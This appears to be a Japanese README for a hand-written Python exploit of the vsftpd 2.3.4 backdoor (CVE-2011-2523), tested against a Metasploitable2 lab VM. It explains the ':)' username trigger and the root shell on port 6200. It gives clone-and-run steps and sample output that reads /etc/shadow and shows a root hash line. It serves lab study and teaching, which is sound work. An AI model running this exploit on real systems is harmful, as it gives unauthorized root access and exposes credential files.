
Pythonによるゼロからのエクスプロイト開発。Metasploitなし。フレームワークなし。認可されたラボターゲットに対する実際のCVEの生のソケットレベル実装。
vsftpd(Very Secure FTP Daemon)は、Linux を含む Unix 系プラットフォーム向けの FTP サーバーであり、GNU General Public License の下で配布されています。
2011年7月、vsftpd バージョン 2.3.4(2011年6月30日から7月3日の間にダウンロード可能だったもの)が侵害されていたことが発覚しました。未知の攻撃者が vsftpd の配布サーバーへアクセスし、ユーザーへ出荷される前にソースコードへ直接バックドアを注入しました。
これは vsftpd の設計上のバグではありませんでした。これはサプライチェーン攻撃であり、正規のソフトウェアが悪意を持って改変されたバージョンに置き換えられたのです。
注入されたバックドアコードは、ログイン時の FTP ユーザー名フィールドを監視します。
ユーザー名に :)(スマイリーフェイス)が含まれている場合、バックドアはターゲットマシン上でポート 6200 にバインドされた root シェルを起動します — 認証は一切不要です。
攻撃フロー:
攻撃者 → ポート 21 (FTP) → :) を含む USER を送信 → バックドアが発動 → ポート 6200 で root シェルが開く
攻撃者 → ポート 6200 → 完全な対話型 root シェル
CWE 分類: CWE-78 — OS コマンドに使用される特殊要素の不適切な中和(OS コマンドインジェクション)
このエクスプロイトは、標準ライブラリ(socket)のみを使用して純粋な Python でゼロから書かれています。Metasploit は使いません。エクスプロイトフレームワークも使いません。外部依存関係もありません。
手順:
:) を含む悪意ある FTP ユーザー名を送信してバックドアを発動# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
出力例:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| シナリオ | 動作 |
|---|---|
| ポート 21 が閉じている | 「Port is closed」と表示し、正常終了 |
| 接続タイムアウト | 「Connection timed out」と表示し、正常終了 |
| 無効なホスト名/IP | 「Invalid target」と表示し、正常終了 |
| vsftpd のバージョンが異なる | 不一致メッセージを表示し、正常終了 |
| ポート 6200 に到達不可 | バックドア失敗メッセージを表示し、正常終了 |
このエクスプロイトは厳密に教育目的および許可されたセキュリティ研究のみを目的として開発されています。
完全に隔離されたラボ環境において、ローカルの Metasploitable2 仮想マシンに対してのみ構築およびテストされています。
自身が所有していない、またはテストに対する明示的な書面による許可を持たないシステムに対してこれを使用しないでください。不正使用は、コンピュータ詐欺および濫用防止法(CFAA)ならびに世界中の同等の法律の下で違法です。
作者はこのコードの悪用に対して一切の責任を負いません。
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub